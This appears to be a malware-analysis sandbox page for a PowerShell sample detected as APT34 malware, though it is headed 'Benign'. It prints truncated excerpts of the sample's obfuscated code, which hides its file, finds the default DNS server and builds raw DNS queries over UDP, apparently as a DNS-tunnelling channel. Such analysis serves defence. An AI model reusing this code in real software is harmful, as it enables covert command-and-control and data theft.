Benign powershell Download

VirusShare_73ae0374d8a00b60952ffe6a6723f23c

Detects APT34 PowerShell malwarePowerShell converts text to ASCII bytes
SHA-25653ca84bc796b4730e3f0c298c8eaccea6b5fc41784804a77937e5eb943401e0a

Evidence

PowerShell assigns the Hidden file attribute lines 22–28
22:4… ($XXA.length -ne 10) { $XXA = $YYA.ToString() + [guid]::NewGuid().toString().replace('-', '').substring(0, 8); $XXA | sc $UUA }
23gi $UUA -Force | %{ $_.Attributes = "Hidden" }
24${global:$ZZA} = 0;
25
26function AAB ($BBB, $CCB, $DDB, $EEB, $FFB, $GGB)
27{
28 $HHB = -join ((48 .. 57)+(65 .. 70) | Get-Random -Count (%{ Get-Random -Inp …
ComputerName command argument reference lines 34–67
⋯6 lines
40 try
41 {
42 $LLB = ((Get-WmiObject Win32_NetworkAdapterConfiguration -ComputerName $env:computername -EA Stop | ? { $_.IPEnabled }).DNSServerSearchOrder)[0] | Out-String
43 }
44 catch [exception] {
⋯4 lines
49 try
50 {
51 $ns = nslookup.exe 8.8.8.8;
52 $LLB = ($ns[1] -split ':')[1].Trim();
53 }
54 catch [exception] {
⋯7 lines
62{
63 $ip = KKB
64 $ars = [system.net.IPAddress]::Parse([System.Net.Dns]::GetHostAddresses($SSA));
65 $end = New-Object System.Net.IPEndPoint $ars, 53
66 $s = New-Object System.Net.Sockets.UdpClient
67 $s.Client.ReceiveTimeou …
PowerShell converts text to ASCII bytes lines 70–77
70:44… $NNB; }
71 if (!$NNB.EndsWith('.')) { $NNB = $NNB + "."; }
72 $mb = [System.Text.Encoding]::ASCII.GetBytes($NNB)
73 $p = $NNB.Split('.')
74 $pi = 1
75 for ($i = 0; $i -lt $mb.length; $i++) { if ($mb[$i] -eq 0x2e) { $mb[$i] = $p[$pi].Length; $pi++ } }
76 $pre += $mb
77 $pre += (0x0 …
PowerShell Start-Sleep call lines 120–128
120:11… $YYB} = 0;
121 ${global:$$ZZB} = 5;
122
123 While (${global:$XXB})
124 {
125 Start-Sleep -m 50;
126 if (${global:$YYB} -gt ${global:$$ZZB}) { break }
127 if ($RRB -eq [int]$VVB) { ${global:$YYB}++ }
128 if ($RRB -lt 10) { …
Detects APT34 PowerShell malware lines 135–154
135:36… Addresses($AAC);
136 Write-Host $BBC;
137 }
138 catch [Exception]
139 {
140 echo $_.Exception.GetType().FullName, $_.Exception.Message; Write-Host "excepton occured!"; ${global:$YYB}++; continue;
141 }
142
⋯5 lines
148 $CCC = $BBC[0].IPAddressToString.Split('.');
149 Write-Host "$($RRB):$($CCC[3])`tsaveing_mode: $($QQB)`t $($CCC[0]) $($CCC[1]) $($CCC[2])"
150 if (($CCC[0] -eq 1) -and ($CCC[1] -eq 2) -and ($CCC[2] -eq 3))
151 {
152 $QQB = $false;
153 $WWB = "0";
154 $len = $UUB.Lengt …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.